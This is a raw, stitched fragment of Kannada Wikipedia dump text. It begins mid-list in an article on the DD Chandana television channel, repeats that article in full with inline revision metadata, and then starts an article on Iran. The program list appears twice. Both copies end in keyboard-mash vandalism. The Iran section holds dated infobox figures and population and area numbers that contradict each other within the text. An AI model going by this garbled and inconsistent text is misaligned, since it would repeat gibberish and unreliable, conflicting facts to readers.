(ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿ == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [https://web.archive.org/web/20130726051932/http://www.ddindia.gov.in/ ದೂರದರ್ಶನ ಅಧಿಕೃತ ಅಂತರ್ಜಾಲ ತಾಣ] * [http://www.ddinews.gov.in/ ದೂರದರ್ಶನ ಸುದ್ದಿ ತಾಣ] * [https://web.archive.org/web/20120414015108/http://passionforcinema.com/doordarshan-down-memory-lane PFC ನಲ್ಲಿ ಒಂದು ಲೇಖನ] * * [https://youtube.com/c/DoordarshanChandana] sbsbsbx. D dd dhdbdhdbsdbhw shewb wwjw ocesm8wgpgwykhpcn8w6mzpx96uui9h 1116632 1116631 2022-08-24T11:47:27Z Ishqyk 76644 wikitext text/x-wiki '''ದೂರದರ್ಶನ ಚಂದನ''' [[ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರ|ದೂರದರ್ಶನ]] ಅಡಿಯಲ್ಲಿ ಪ್ರಸಾರ ಭಾರತಿ ಒಡೆತನದ ಮತ್ತು ನಿರ್ವಹಿಸುತ್ತಿರುವ [[ಕನ್ನಡ|ಕನ್ನಡ ಟಿವಿ]] ಚಾನೆಲ್ ಆಗಿದ್ದು , [[ಬೆಂಗಳೂರು]] ಮತ್ತು ಕಲ್ಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾಗಿದೆ . 1994 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾದ ಡಿಡಿ ಚಂದನವು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ 81.7% ಜನಸಂಖ್ಯೆಗೆ ಡಿಡಿ ಚಂದನ ಲಭ್ಯವಿದೆ . <ref>{{cite news|url=https://www.indiatoday.in/india/story/doordarshan-south-indian-channels-huge-success-digital-platforms-1864360-2021-10-13|title=Doordarshan's southern India channels a huge success on digital platforms|work=[[ India Today]]|access-date=19 June 2022}}</ref> {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ | name = '''ದೂರದರ್ಶನ ಚಂದನ''' | logo = [[File:DD-Chandana-Logo.jpg|155px]] | logo_size = | picture_format = | launch_date = | owner = ಪ್ರಸಾರ ಭಾರತಿ | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | headquarters = [[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | area = | website = |launch={{start date and age|df=y|1994|10|15}}|broadcast area=ಭಾರತ|web=http://ddchandana.gov.in|picture format=4:3(576ಐ, ಎಸ್ ಡಿ ಟಿವಿ)|slogan=ಇದು ಕನ್ನಡ ವಾಹಿನಿ|sat serv 2=ಡಿಡಿ ಫ್ರಿ ಡಿಶ್|sat chan 2=ಚಾನೆಲ್ 86|sister names=ಡಿಡಿ ನೇಷನಲ್<br/>ಡಿಡಿ ಇಂಡಿಯಾ<br/>ಡಿಡಿ ಕಿಸಾನ್<br/>ಡಿಡಿ ಭಾರತಿ<br/>ಡಿಡಿ ಇಂಡಿಯಾ<br/>ಡಿಡಿ ಸ್ಪೋರ್ಟ್ಸ್ <br/>ಡಿಡಿ ರೆಟ್ರೋ<br/>ಡಿಡಿ ನ್ಯೂಸ್ <br/>ಡಿಡಿ ಸಯ್ಯದ್ರಿ <br/>ಡಿಡಿ ಮಲಯಾಳಂ<br/>ಡಿಡಿ ಕಷಿರ್<br/>ಡಿಡಿ ಬಾಂಗ್ಲಾ<br/>ಡಿಡಿ ಸಪ್ತಗಿರಿ<br/>ಡಿಡಿ ಉರ್ದು<br/>ಡಿಡಿ ಯಾದಗಿರಿ <br/>ಡಿಡಿ ಅಸ್ಸಾಂ<br/>ಡಿಡಿ ನಾರ್ತ್ ಈಸ್ಟ್<br/>ಡಿಡಿ ಪಂಜಾಬ್<br/>ಡಿಡಿ ಮದ್ಯಪ್ರದೇಶ}} [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿ == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [https://web.archive.org/web/20130726051932/http://www.ddindia.gov.in/ ದೂರದರ್ಶನ ಅಧಿಕೃತ ಅಂತರ್ಜಾಲ ತಾಣ] * [http://www.ddinews.gov.in/ ದೂರದರ್ಶನ ಸುದ್ದಿ ತಾಣ] * [https://web.archive.org/web/20120414015108/http://passionforcinema.com/doordarshan-down-memory-lane PFC ನಲ್ಲಿ ಒಂದು ಲೇಖನ] * * [https://youtube.com/c/DoordarshanChandana] sbsbsbx. D dd dhdbdhdbsdbhw shewb wwjw 0mcgczgwlv9hfasatj34kzi2a24dm4y ಇರಾನ್ 0 12242 1116562 1106446 2022-08-24T04:14:01Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox ದೇಶ |native_name = <span style="line-height:1.33em;"><big> جمهوری اسلامی ايران </big><br />''ಜೊಮ್ಹೂರಿ-ಯೆ ಎಸ್ಲಾಮಿ-ಯೆ ಇರಾನ್''</span> |conventional_long_name = <span style="line-height:1.33em;">ಇರಾನ್ ಇಸ್ಲಾಮಿ ಗಣರಾಜ್ಯ</span> |common_name = ಇರಾನ್ |image_flag = Flag of Iran.svg |image_coat = Coat of arms of Iran.svg |symbol_type = ರಾಷ್ಟ್ರೀಯ ಚಿಹ್ನೆ |image_map = Iran in its region.svg |official_religion = [[ಶಿಯ ಇಸ್ಲಾಂ]] |national_motto = <br />''ಎಸ್ತೆಕ್ಲಾಲ್, ಆಜಾದೀ, ಜೊಮ್ಹೂರಿ-ಯೆ ಎಸ್ಲಾಮೀ''&nbsp;<sup>1</sup><br /><small>([[ಪರ್ಷಿಯನ್ ಭಾಷೆ|ಪರ್ಷಿಯನ್ ಭಾಷೆಯಲ್ಲಿ]]: "ಸ್ವಾತಂತ್ರ್ಯ, ಸ್ವೇಚ್ಛೆ, ಇಸ್ಲಾಮಿ ಗಣರಾಜ್ಯ")</small> |national_anthem = ''[[ಸೊರುದ್-ಎ ಮೆಲ್ಲಿ-ಎ ಇರಾನ್]]''&nbsp;<sup>2</sup> |capital = [[ತೆಹರಾನ್]] |latd=35 |latm=41 |latNS=N |longd=51 |longm=25 |longEW=E |largest_city = ರಾಜಧಾನಿ |official_languages = [[ಪರ್ಷಿಯನ್ ಭಾಷೆ]] |government_type = [[ಇಸ್ಲಾಮಿ ಗಣರಾಜ್ಯ]] |leader_title1 = [[Supreme Leader of Iran|Supreme Leader]] |leader_name1 = [[ಅಯತೊಲ್ಲ]] [[ಅಲಿ ಖಮೇನಿ]] |leader_title2 = [[ರಾಷ್ಟ್ರಪತಿ]] |leader_name2 = [[ಹಸನ್ ರೌಹಾನಿ]] |sovereignty_type = [[Medes|ಸ್ಥಾಪನೆ]] |established_event1 = [[Elam|Proto-Elamite Period]] |established_date1 = [[8000 BC]] |established_event2 = [[Elam|Middle-Elamite&nbsp;Period]] |established_date2 = [[3400 BC|3400]]-[[550 BC]] |established_event3 = [[Medes|Creation of first Iranian dynastic empire (Median)]] |established_date3 = <br />[[728 BC|728]]-[[550 BC]] |established_event4 = [[Achaemenid|Achaemenid dynastic empire (unification)]] |established_date4 = <br />[[550 BC|550]]-[[330 BC]] |established_event5 = [[Parthia|Parthian (Arsacid) dynastic empire<br />(first reunification)]] |established_date5 = <br /><br />[[248 BC]]-[[224 AD]] |established_event6 = [[Sasanian|Sassanid<br />dynastic empire]] |established_date6 = <br />[[224 AD|224]]-[[651|651 AD]] |established_event7 = [[Safavid|Safavid dynasty<br />(second reunification)]] |established_date7 = <br />[[May]] [[1502]] |established_event8 = [[Iranian Constitution of 1906|First&nbsp;Constitution]] |established_date8 = [[1906]] |established_event9 = [[Iranian Revolution|Islamic&nbsp;Revolution]] |established_date9 = [[1979]] |area = 1,648,195 |areami² = 636,372 <!--Do not remove per [[WP:MOSNUM]]--> |area_rank = 18th |area_magnitude = 1 E12 |percent_water = 0.7 |population_estimate = 70,049,262<sup>3</sup> |population_estimate_year = 2006 |population_estimate_rank = 18th |population_density = 42 |population_densitymi² = 109 <!--Do not remove per [[WP:MOSNUM]]--> |population_density_rank = 158th |population_census = 70,049,262<sup>3</sup> |population_census_year = 2006 |population_census_rank = 17th |GDP_PPP = $610.4 billion<sup>4</sup> |GDP_PPP_rank = 19th |GDP_PPP_year = 2005 |GDP_PPP_per_capita = $8,900<sup>4</sup> |GDP_PPP_per_capita_rank = 71st |HDI_year = 2004 |HDI = 0.746 |HDI_rank = 96th |HDI_category = <span style="color:#ffcc00;">medium</span> |currency = [[Iranian rial]] (<big>ريال</big>) |currency_code = IRR |time_zone = [[Iran Standard Time|IRST]] |utc_offset = +3:30 |time_zone_DST = not observed |utc_offset_DST = +3:30 |cctld = [[.ir]] |calling_code = 98 |footnote1 = [http://www.bookrags.com/browse/Encyclopedia%20of%20Religious%20Practices/50 bookrags.com] |footnote2 = [http://www.iranchamber.com/geography/articles/flag_anthem.php iranchamber.com] |footnote3 = {{cite web |url=http://www.sci.org.ir/portal/faces/public/census85 |title="سرشماری ۱۳۸۵" |first=Government of Iran |last=Statistical Centre |accessdate=2006-12-03}} |footnote4 = [https://www.cia.gov/cia/publications/factbook/geos/ir.html#Econ CIA Factbook] }} '''ಇರಾನ್''', ([[ಪರ್ಷಿಯನ್ ಭಾಷೆ|ಪರ್ಷಿಯನ್ ಭಾಷೆಯಲ್ಲಿ]]: <big>ايران</big>), ಅಧಿಕೃತವಾಗಿ '''ಇರಾನ್ ಇಸ್ಲಾಮಿ ಗಣರಾಜ್ಯ''' (ಪರ್ಷಿಯನ್‍ನಲ್ಲಿ: <big>جمهوری اسلامی ايران</big> - ''ಜೊಮ್ಹೂರಿ-ಯೆ ಎಸ್ಲಾಮಿ-ಯೆ ಇರಾನ್''), ಮುಂಚೆ [[ಪರ್ಷಿಯ]] ಎಂದು ಕರೆಯಲ್ಪಡುತ್ತಿದ್ದ [[ಪಶ್ಚಿಮ ಏಷ್ಯಾ]] ದೇಶ. ಕ್ರಿ.ಪೂ. 2500ಕ್ಕೂ ಹಿಂದಿನ ಇತಿಹಾಸ ಪಡೆದಿರುವ ಈ ದೇಶ 1935ರಿಂದೀಚೆಗೆ ಇರಾನ್ ಎಂಬ ಹೆಸರನ್ನು ಅಧಿಕೃತವಾಗಿ ತಳೆದಿದೆ. ಇದು ಪ್ರಪಂಚದ ೧೮ನೇ ದೊಡ್ಡ ರಾಷ್ಟ್ರವಾಗಿದ್ದು ಸುಮಾರು ೭೦ [[ಮಿಲಿಯನ್]] ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿದೆ. ಉತ್ತರಕ್ಕೆ [[ಅರ್ಮೇನಿಯ]], [[ಅಜರ್‍ಬೈಜಾನ್]] ಮತ್ತು [[ತುರ್ಕ್‍ಮೇನಿಸ್ಥಾನ್]], ಪೂರ್ವಕ್ಕೆ [[ಅಫ್ಘಾನಿಸ್ಥಾನ]] ಮತ್ತು [[ಪಾಕಿಸ್ಥಾನ]], ಮತ್ತು ಪಶ್ಚಿಮಕ್ಕೆ [[ಟರ್ಕಿ]] ಮತ್ತು [[ಇರಾಕ್|ಇರಾಕ್‌ಗಳೊಂದಿಗೆ]] ಸೀಮೆಯನ್ನು ಹೊಂದಿದೆ. ಅಲ್ಲದೆ [[ಪರ್ಷಿಯನ್ ಕೊಲ್ಲಿ]] ಮತ್ತು [[ಕ್ಯಾಸ್ಪಿಯನ್ ಸಮುದ್ರ|ಕ್ಯಾಸ್ಪಿಯನ್ ಸಮುದ್ರಗಳ]] ತಟಗಳನ್ನೂ ಹೊಂದಿದೆ. [[ಶಿಯ ಇಸ್ಲಾಮ್]] ಇರಾನ್‍ನ ಅಧಿಕೃತ ಧರ್ಮ ಮತ್ತು [[ಪರ್ಷಿಯನ್ ಭಾಷೆ]] ಅಧಿಕೃತ ಭಾಷೆ.<ref>{{Cite web |url=http://www.ashrafiu.ac.ir/en/Ashrafi%20Esfahan%20University%20-%20Index.aspx |title=www.ashrafiu.ac.ir...index.aspx |access-date=2007-04-15 |archive-date=2007-02-21 |archive-url=https://web.archive.org/web/20070221000053/http://www.ashrafiu.ac.ir/en/Ashrafi%20Esfahan%20University%20-%20Index.aspx |url-status=dead }}</ref><ref name="BBC">[http://www.bbc.co.uk/news/world-middle-east-14541327 Iran Country Profile]</ref><ref>{{Cite web |url=http://cesww.fas.harvard.edu/ces_definition.html |title="CESWW" – Definition of Central Eurasia |access-date=2014-12-21 |archive-date=2010-08-05 |archive-url=https://web.archive.org/web/20100805052739/http://cesww.fas.harvard.edu/ces_definition.html |url-status=dead }}</ref><ref>[http://travel.nationalgeographic.com/places/countries/country_iran.html Iran Guide]</ref> ಇದರ ವಿಸ್ತೀರ್ಣ 6,36,294 ಚ.ಮೈ. ಜನಸಂಖ್ಯೆ 2 1/2 ಕೋಟಿಗಿಂತಲೂ ಹೆಚ್ಚು. ರಾಜಧಾನಿ [[ಟೆಹ್ರಾನ್|ಟೆಹರಾನ್]]. ದೇಶದಲ್ಲಿ ಸು. 2370 ಮೈ. ರೈಲುಮಾರ್ಗವೂ 16,000 ಮೈ. ರಸ್ತೆಯೂ ಇವೆ. == ಹೆಸರು == ಪರ್ಷಿಯನ್ನರೆನಿಸಿಕೊಂಡ ಜನರಿರುವ ಜಿಲ್ಲೆಯಾದ ಪುರಾತನ ಪರ್ಷಿಸ್ ಅಥವಾ ಈಗಿನ ಫಾರ್ಸ್ ಪ್ರದೇಶವನ್ನಷ್ಟು ಮಾತ್ರವೇ ಪರ್ಷಿಯವೆನ್ನುವುದು ಹೆಚ್ಚು ಖಚಿತವೆನಿಸಿಕೊಳ್ಳಬಹುದಾದರೂ ಪಾಶ್ಚಾತ್ಯ ದೇಶಗಳಲ್ಲಿ ಇಡೀ ಇರಾನ್ ಪ್ರಸ್ಥಭೂಮಿ ಪ್ರದೇಶವನ್ನೂ ಈ ಪ್ರದೇಶದ ವ್ಯಾಪ್ತಿಗೆ ಒಳಪಟ್ಟ ರಾಷ್ಟ್ರವನ್ನೂ ಪರ್ಷಿಯವೆಂದೇ ಕರೆಯುವ ರೂಢಿ ಬಂದಿದೆ. ಪಾಶ್ಚಾತ್ಯ ಕೈವಾಡದ ನೆನಪು ತಾರದ ಇರಾನ್ ಎಂಬ ಹೆಸರು ಇಲ್ಲಿನ ಜನರ ರಾಷ್ಟ್ರಾಭಿಮಾನಕ್ಕೆ ಹೆಚ್ಚಿನ ಪುಷ್ಟಿಕೊಡುವುದೆಂದು ಭಾವಿಸಲಾಗಿದೆ. ವಿದೇಶಿ ಭಾಷೆಗಳಲ್ಲಿ ಪರ್ಷಿಯ ಎಂಬ ಹೆಸರಿಗೇ ಮತ್ತೆ ಮನ್ನಣೆ ನೀಡಿರುವುದಾಗಿ 1949ರಲ್ಲಿ ಅಲ್ಲಿನ ಸರ್ಕಾರ ಪ್ರಕಟಿಸಿತು. ಆದ್ದರಿಂದ ಈಗ ಇರಾನ್ ಪರ್ಷಿಯಗಳೆಂಬ ಎರಡು ಹೆಸರುಗಳೂ ಬಳಕೆಯಲ್ಲಿವೆ. == ಇರಾನಿನ ಇತಿಹಾಸ == ಇದನ್ನು ನೋಡಿ [[ಇರಾನಿನ ಇತಿಹಾಸ]] == ಭೌಗೋಳಿಕ ಮಾಹಿತಿ ಮತ್ತು ಹವಾಗುಣ == ಈ ದೇಶದ ಉತ್ತರದಲ್ಲಿ ರಷ್ಯ ಮತ್ತು ಕ್ಯಾsಸ್ಟಿಯನ್ ಸಮುದ್ರ, ದಕ್ಷಿಣದಲ್ಲಿ ಓಮಾನ್ ಮತ್ತು ಪರ್ಷಿಯನ್ ಖಾರಿ, ಪಶ್ಚಿಮದಲ್ಲಿ ಇರಾಕ್, ಪೂರ್ವದಲ್ಲಿ ಆಫ್ಘಾನಿಸ್ಥಾನ ಮತ್ತು ಪಾಕಿಸ್ತಾನ ಇವೆ. ಪ್ರಸ್ಥಭೂಮಿ ಸಮುದ್ರಮಟ್ಟಕ್ಕೆ 4000'ಗಿಂತಲೂ ಎತ್ತರವಾಗಿದೆ. ಸುತ್ತಲೂ ಪರ್ವತಶ್ರೇಣಿಗಳಿವೆ. ಇರಾನಿನಲ್ಲಿ ಖಂಡಾಂತರ ವಾಯುಗುಣವಿದೆ. (ನೋಡಿ- ಖಂಡಾಂತರ-ವಾಯುಗುಣ-ಪ್ರದೇಶ-(ಮಧ್ಯ-ಅಕ್ಷಾಂಶ)). ಭಾರತದ ಬೇಸಗೆಯ ಮಾನ್ಸೂನ್ ಮಾರುತಗಳು ಸಿಂಧೂ ಬಯಲನ್ನೂ ಆಫ್ಘಾನಿಸ್ತಾನ ಬಲೂಚಿಸ್ತಾನಗಳ ಪರ್ವತಗಳನ್ನೂ ದಾಟಿದ ಅನಂತರ ಇರಾನಿನ ಮೇಲೆ ಬೀಸುತ್ತವೆ. ಆದ್ದರಿಂದ ಪೂರ್ವ ತೀರಪ್ರದೇಶಗಳಲ್ಲಿ ವಾತಾವರಣದಲ್ಲಿ ತೇವ ಹೆಚ್ಚು. ಒಳನಾಡಿನಲ್ಲಿ ಬೇಸಗೆಯಲ್ಲಿ ಬಹುತೇಕ ಒಣಹವೆ. ಸೆಯಿಸ್ತಾನ್ ಎಂಬಲ್ಲಿ ಜುಲೈ ತಿಂಗಳಲ್ಲಿ ಮಧ್ಯಸ್ಥ ಉಷ್ಣತೆ 90( ಫ್ಯಾ. ಮುಟ್ಟುತ್ತದೆ. 5000'ಗಿಂತ ಕಡಿಮೆ ಮಟ್ಟದಲ್ಲಿರುವ ಪ್ರದೇಶದಲ್ಲೆಲ್ಲ ನಡುಹಗಲು; ಬಹು ಘೋರ. ಕ್ಯಾಸ್ಪಿಯನ್ ಸಮುದ್ರಪ್ರದೇಶ ಬಿಟ್ಟು ಉಳಿದೆಡೆಗಳಲ್ಲಿ ಬೇಸಗೆಯಿಂದ ಚಳಿಗಾಲಕ್ಕೂ ಚಳಿಗಾಲದಿಂದ ಬೇಸಗೆಗೂ ಥಟ್ಟನೆ ಬದಲಾವಣೆಯಾಗುತ್ತದೆ. ಚಳಿಗಾಲದಲ್ಲಿ ಸೈಬೀರಿಯದಿಂದ ಬೀಸುವ ಶೀತಮಾರುತಗಳನ್ನು ತಡೆಯುವಷ್ಟು ಎತ್ತರದ ಪರ್ವತಗಳಿಲ್ಲ. ಆದರೆ ದಕ್ಷಿಣದಲ್ಲೂ ಪೂರ್ವದಲ್ಲೂ ಇರುವ ಪರ್ವತಗಳು ಎತ್ತರವಾಗಿರುವುದರಿಂದ ಸಮುದ್ರದ ಹಿತಕರ ಪ್ರಭಾವಕ್ಕೆ ಅಡ್ಡಿಯುಂಟಾಗಿದೆ. ಚಳಿಗಾಲದಲ್ಲಿ ಉತ್ತರದಲ್ಲಿ ಹೆಚ್ಚು ಹಿಮ ಬೀಳುತ್ತದೆ. ಮೆಡಿಟರೇನಿಯನ್ ಸಮುದ್ರದಲ್ಲಿ ಸಂಭವಿಸುವ ಮಹಾಗರ್ತಗಳ 